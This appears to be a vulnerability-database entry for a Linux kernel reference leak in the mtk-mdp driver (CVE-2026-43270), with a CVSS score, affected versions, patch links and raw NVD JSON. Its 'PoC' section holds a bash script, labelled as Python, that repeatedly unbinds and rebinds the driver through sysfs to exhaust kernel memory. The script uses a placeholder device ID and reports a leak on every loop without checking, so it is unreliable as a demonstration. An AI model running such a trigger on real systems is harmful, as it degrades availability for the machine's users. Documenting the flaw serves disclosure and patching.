CVE-2026-43270

Description

In the Linux kernel, the following vulnerability has been resolved: media: mtk-mdp: Fix a reference leak bug in mtk_mdp_remove() In mtk_mdp_probe(), vpu_get_plat_device() increases the reference count of the returned platform device. Add platform_device_put() to prevent reference leak.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Versions prior to commit 2d93758f42a57f3485534eab858b308e41653de4)

Linux Kernel (Versions prior to commit 403b7c757ac9f6b2ffb7d00ff4795a245f5e8911)

Linux Kernel (Versions prior to commit 4f2a51433a3a65d16975d1e32052d80656da077d)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-43270 Linux Kernel MTK-MDP Reference Leak
# This script triggers the vulnerability by repeatedly binding/unbinding the driver.

DRIVER_PATH="/sys/bus/platform/drivers/mtk-mdp"
DEVICE_ID="mtk-mdp" # Actual device ID may vary based on hardware

if [ ! -d "$DRIVER_PATH" ]; then
    echo "[!] Target driver path not found. System may not be vulnerable or driver not loaded."
    exit 1
fi

echo "[*] Starting PoC for CVE-2026-43270..."
echo "[*] Triggering reference leak in mtk_mdp_remove..."

for i in {1..1000}
do
    # Unbind the device (calls mtk_mdp_remove -> leak occurs)
    echo "$DEVICE_ID" > "$DRIVER_PATH/unbind" 2>/dev/null
    
    # Bind the device (calls mtk_mdp_probe -> increases ref count again)
    echo "$DEVICE_ID" > "$DRIVER_PATH/bind" 2>/dev/null
    
    if [ $? -ne 0 ]; then
        echo "[!] Error at iteration $i. Leak might have caused instability."
        break
    fi
    
    echo "[+] Iteration $i: Reference leaked"
done

echo "[*] PoC execution finished. Check kernel memory usage."

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43270
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43270
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43270/
[4] VulDB https://vuldb.com/cve/CVE-2026-43270
[5] https://git.kernel.org/stable/c/2d93758f42a57f3485534eab858b308e41653de4
[6] https://git.kernel.org/stable/c/403b7c757ac9f6b2ffb7d00ff4795a245f5e8911
[7] https://git.kernel.org/stable/c/4f2a51433a3a65d16975d1e32052d80656da077d
[8] https://git.kernel.org/stable/c/564fd3a63efc3ebbdb5d0a8fc7c0d3f753fbbd5d
[9] https://git.kernel.org/stable/c/a62ba5aa9ee95fd953583e95e519badf0b76ecf3
[10] https://git.kernel.org/stable/c/c44beed2e5caf2cbbe651432baa3a129f18b0169
[11] https://git.kernel.org/stable/c/dd530e29bd514d7187b3e2df8eb2107419c7988f
[12] https://git.kernel.org/stable/c/f128bab57b8018e526b7eda854ca20069863af47

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43270", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:48.190", "lastModified": "2026-05-08T20:00:20.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: mtk-mdp: Fix a reference leak bug in mtk_mdp_remove()\n\nIn mtk_mdp_probe(), vpu_get_plat_device() increases the reference\ncount of the returned platform device. Add platform_device_put()\nto prevent reference leak."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "5.10.252", "matchCriteriaId": "6237C80F-2950-41ED-A424-2872192E5F12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2d93758f42a57f3485534eab858b308e41653de4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/403b7c757ac9f6b2ffb7d00ff4795a245f5e8911", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4f2a51433a3a65d16975d1e32052d80656da077d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/564fd3a63efc3ebbdb5d0a8fc7c0d3f753fbbd5d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a62ba5aa9ee95fd953583e95e519badf0b76ecf3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c44beed2e5caf2cbbe651432baa3a129f18b0169", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dd530e29bd514d7187b3e2df8eb2107419c7988f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f128bab57b8018e526b7eda854ca20069863af47", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}